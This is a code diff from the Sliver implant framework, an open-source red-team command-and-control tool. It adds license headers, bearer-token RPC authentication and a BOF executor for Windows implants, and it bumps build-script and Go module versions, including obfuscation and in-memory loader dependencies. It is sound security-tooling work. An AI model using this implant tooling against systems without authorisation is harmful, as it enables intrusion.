return fmt.Sprintf("Terminated %s", agentSession.Session.Name), SuccessExitStatus, SuccessExitStatus
|
||||
}
|
||||
@@ -1,5 +1,23 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"encoding/hex"
|
||||
@@ -7,6 +25,11 @@ import (
|
||||
"sort"
|
||||
)
|
||||
|
||||
const (
|
||||
ErrorExitStatus = -1
|
||||
SuccessExitStatus = 0
|
||||
)
|
||||
|
||||
type Configuration interface {
|
||||
ApplyConfig(ac map[string]interface{})
|
||||
BuildBeacon() Beacon
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
@@ -53,7 +71,7 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
// Operator implants have embeded static IDs, but we don't,
|
||||
// Operator implants have embedded static IDs, but we don't,
|
||||
// so to avoid having multiple sessions showing as one on the Operator
|
||||
// GUI, we need to have a unique name for them.
|
||||
// Plus, having the ID in the name will help the user to make the
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package util
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
|
||||
@@ -1,10 +1,28 @@
|
||||
package util
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
func DetermineExecutors(platform string, arch string) []string {
|
||||
platformExecutors := map[string]map[string][]string{
|
||||
"windows": {
|
||||
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
|
||||
"executor": {"pwsh", "psh", "cmd"},
|
||||
"executor": {"pwsh", "psh", "cmd", "bof"},
|
||||
},
|
||||
"linux": {
|
||||
"file": {"python3", "pwsh", "sh", "bash"},
|
||||
|
||||
@@ -44,15 +44,32 @@ const (
|
||||
defaultTimeout = time.Duration(10 * time.Second)
|
||||
)
|
||||
|
||||
type TokenAuth struct {
|
||||
token string
|
||||
}
|
||||
|
||||
// Return value is mapped to request headers.
|
||||
func (t TokenAuth) GetRequestMetadata(ctx context.Context, in ...string) (map[string]string, error) {
|
||||
return map[string]string{
|
||||
"Authorization": "Bearer " + t.token,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (TokenAuth) RequireTransportSecurity() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
// MTLSConnect - Connect to the sliver server
|
||||
func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
|
||||
tlsConfig, err := getTLSConfig(config.CACertificate, config.Certificate, config.PrivateKey)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
creds := credentials.NewTLS(tlsConfig)
|
||||
transportCreds := credentials.NewTLS(tlsConfig)
|
||||
callCreds := credentials.PerRPCCredentials(TokenAuth{token: config.Token})
|
||||
options := []grpc.DialOption{
|
||||
grpc.WithTransportCredentials(creds),
|
||||
grpc.WithTransportCredentials(transportCreds),
|
||||
grpc.WithPerRPCCredentials(callCreds),
|
||||
grpc.WithBlock(),
|
||||
grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
|
||||
}
|
||||
@@ -93,7 +110,6 @@ func getTLSConfig(caCertificate string, certificate string, privateKey string) (
|
||||
// we have to disable all of the certificate validation and re-implement everything.
|
||||
// https://github.com/golang/go/issues/21971
|
||||
func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
|
||||
roots := x509.NewCertPool()
|
||||
ok := roots.AppendCertsFromPEM([]byte(caCertificate))
|
||||
if !ok {
|
||||
@@ -113,6 +129,9 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
|
||||
options := x509.VerifyOptions{
|
||||
Roots: roots,
|
||||
}
|
||||
if options.Roots == nil {
|
||||
panic("no root certificate")
|
||||
}
|
||||
if _, err := cert.Verify(options); err != nil {
|
||||
log.Printf("Failed to verify certificate: " + err.Error())
|
||||
return err
|
||||
|
||||
+3
-3
@@ -217,15 +217,15 @@ GEM
|
||||
rb-fsevent (~> 0.10, >= 0.10.3)
|
||||
rb-inotify (~> 0.9, >= 0.9.10)
|
||||
mercenary (0.3.6)
|
||||
mini_portile2 (2.5.3)
|
||||
mini_portile2 (2.6.1)
|
||||
minima (2.5.1)
|
||||
jekyll (>= 3.5, < 5.0)
|
||||
jekyll-feed (~> 0.9)
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.14.4)
|
||||
multipart-post (2.1.1)
|
||||
nokogiri (1.11.7)
|
||||
mini_portile2 (~> 2.5.0)
|
||||
nokogiri (1.12.5)
|
||||
mini_portile2 (~> 2.6.1)
|
||||
racc (~> 1.4)
|
||||
octokit (4.21.0)
|
||||
faraday (>= 0.9)
|
||||
|
||||
+5
-4
@@ -19,16 +19,17 @@
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.17"
|
||||
GARBLE_VER="1.17.1"
|
||||
COFF_LOADER_VER="1.0.5"
|
||||
GO_VER="1.17.3"
|
||||
GARBLE_VER="1.17.5"
|
||||
COFF_LOADER_VER="1.0.7"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
GO_ARCH_2="arm64"
|
||||
GO_ARCH_3="386"
|
||||
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
|
||||
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
|
||||
|
||||
if ! [ -x "$(command -v curl)" ]; then
|
||||
echo 'Error: curl is not installed.' >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
+14
@@ -21,6 +21,11 @@
|
||||
## Util
|
||||
|
||||
# util / encoders
|
||||
if go test -tags=server ./util/encoders/basex ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
if go test -tags=server ./util/encoders ; then
|
||||
:
|
||||
else
|
||||
@@ -32,6 +37,15 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
## Implant
|
||||
|
||||
# implant / sliver / transports / dnsclient
|
||||
if go test -tags=server ./implant/sliver/transports/dnsclient ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
## Server
|
||||
|
||||
# server / website
|
||||
|
||||
@@ -21,13 +21,13 @@ require (
|
||||
github.com/fatih/color v1.12.0
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/gofrs/uuid v3.3.0+incompatible
|
||||
github.com/golang/protobuf v1.5.2
|
||||
github.com/google/uuid v1.2.0
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
github.com/jedib0t/go-pretty/v6 v6.2.4
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-socks5 v0.0.0-20210409090601-adbe23bd0194
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
@@ -41,8 +41,8 @@ require (
|
||||
github.com/spf13/cobra v1.1.1
|
||||
github.com/stretchr/testify v1.7.0
|
||||
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
|
||||
golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
|
||||
golang.org/x/net v0.0.0-20210614182718-04defd469f4e
|
||||
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1
|
||||
golang.org/x/text v0.3.6
|
||||
golang.zx2c4.com/wireguard v0.0.20200121
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
|
||||
@@ -58,6 +58,12 @@ require (
|
||||
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/emirpasic/gods v1.12.0
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
|
||||
@@ -72,7 +78,6 @@ require (
|
||||
github.com/desertbit/readline v1.5.1 // indirect
|
||||
github.com/dlclark/regexp2 v1.2.0 // indirect
|
||||
github.com/go-sql-driver/mysql v1.5.0 // indirect
|
||||
github.com/golang/protobuf v1.5.2 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/hashicorp/errwrap v1.1.0 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.0 // indirect
|
||||
@@ -93,8 +98,10 @@ require (
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
|
||||
)
|
||||
@@ -4,6 +4,7 @@ cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSR
|
||||
cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=
|
||||
cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
|
||||
cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=
|
||||
cloud.google.com/go v0.46.3 h1:AVXDdKsrtX33oR9fbCMu/+c1o8Ofjq6Ku/MInaLVg5Y=
|
||||
cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=
|
||||
cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
|
||||
cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
|
||||
@@ -109,6 +110,8 @@ github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZm
|
||||
github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
|
||||
github.com/dlclark/regexp2 v1.2.0 h1:8sAhBGEM0dRWogWqWyQeIJnxjWO6oIjl8FKqREDsGfk=
|
||||
github.com/dlclark/regexp2 v1.2.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
|
||||
github.com/emirpasic/gods v1.12.0 h1:QAUIPSaCu4G+POclxeqb3F+WPpdKqFGlw36+yOzGlrg=
|
||||
github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
@@ -158,6 +161,7 @@ github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:W
|
||||
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
|
||||
github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
|
||||
github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
|
||||
github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
|
||||
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
|
||||
github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw=
|
||||
github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
|
||||
@@ -276,7 +280,6 @@ github.com/jedib0t/go-pretty/v6 v6.2.4 h1:wdaj2KHD2W+mz8JgJ/Q6L/T5dB7kyqEFI16eLq
|
||||
github.com/jedib0t/go-pretty/v6 v6.2.4/go.mod h1:+nE9fyyHGil+PuISTCrp7avEdo6bqoMwqZnuiK2r2a0=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
|
||||
github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
|
||||
github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
@@ -303,8 +306,6 @@ github.com/kr/pty v1.1.8 h1:AkaSdXYQOWeaO3neb8EM634ahkXXe3jYbVh/F9lq+GI=
|
||||
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
|
||||
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/lesnuages/go-socks5 v0.0.0-20210409090601-adbe23bd0194 h1:k4VboDB9x//V1RZdK+zji9Bk2QQYCeHVn0HpHM03As4=
|
||||
github.com/lesnuages/go-socks5 v0.0.0-20210409090601-adbe23bd0194/go.mod h1:0p7Kyo90yOpoiH+cElGtWjhneXBBcaB+kJggBU1snEY=
|
||||
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
|
||||
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
|
||||
github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
|
||||
@@ -360,6 +361,8 @@ github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:F
|
||||
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
|
||||
github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
|
||||
github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d/go.mod h1:o96djdrsSGy3AWPyBgZMAGfxZNfgntdJG+11KU4QvbU=
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e h1:fD57ERR4JtEqsWbfPhv4DMiApHyliiK5xCTNVSPiaAs=
|
||||
@@ -436,6 +439,10 @@ github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
|
||||
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
|
||||
github.com/things-go/go-socks5 v0.0.2 h1:dFi5iZ/LqgHRTQ6n3XlipTLDWHAQsejvJ300bH2VFWo=
|
||||
github.com/things-go/go-socks5 v0.0.2/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGqchSsVyNoeW4GyA0Y+g0LvKOHcaeqs1Rf6M=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
|
||||
github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
|
||||
github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
@@ -515,12 +522,13 @@ golang.org/x/net v0.0.0-20200421231249-e086a090c8fd/go.mod h1:qpuaurCH72eLCgpAm/
|
||||
golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
|
||||
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
|
||||
golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc=
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
|
||||
golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1 h1:4qWs8cYYH6PoEFy4dfhDFgoMGkwAcETd+MmPdCPMzUc=
|
||||
golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8=
|
||||
golang.org/x/net v0.0.0-20210614182718-04defd469f4e h1:XpT3nA5TvE525Ne3hInMh6+GETgn27Zfm9dxsThnX2Q=
|
||||
golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
||||
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
||||
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d h1:TzXSXBo42m9gQenoE3b9BGiEpg5IG2JkU5FkPIawgtw=
|
||||
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
||||
@@ -573,10 +581,10 @@ golang.org/x/sys v0.0.0-20210309040221-94ec62e08169/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210316164454-77fc1eacc6aa/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 h1:RqytpXGR1iVNX7psjB3ff8y7sNFinVFvkx1c8SjBkio=
|
||||
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1 h1:kwrAHlwJ0DUBZwQ238v+Uod/3eZ8B2K5rYsUHBQvzmI=
|
||||
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 h1:v+OssWQX+hTHEmOBgwxdZxK4zHq3yOs8F9J7mk0PY8E=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
@@ -637,6 +645,7 @@ google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsb
|
||||
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
|
||||
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
|
||||
google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
|
||||
google.golang.org/appengine v1.6.1 h1:QzqyMA1tlu6CgqCDUtU9V+ZKhLFT2dkJuANu5QaxI3I=
|
||||
google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
|
||||
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
|
||||
google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
|
||||
@@ -649,6 +658,7 @@ google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBr
|
||||
google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
|
||||
google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
|
||||
google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
|
||||
google.golang.org/genproto v0.0.0-20200806141610-86f49bd18e98/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
|
||||
google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 h1:f4STrQZf8jaowsiUitigvrqMCCM4QJH1A2JCSI7U1ow=
|
||||
google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A=
|
||||
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
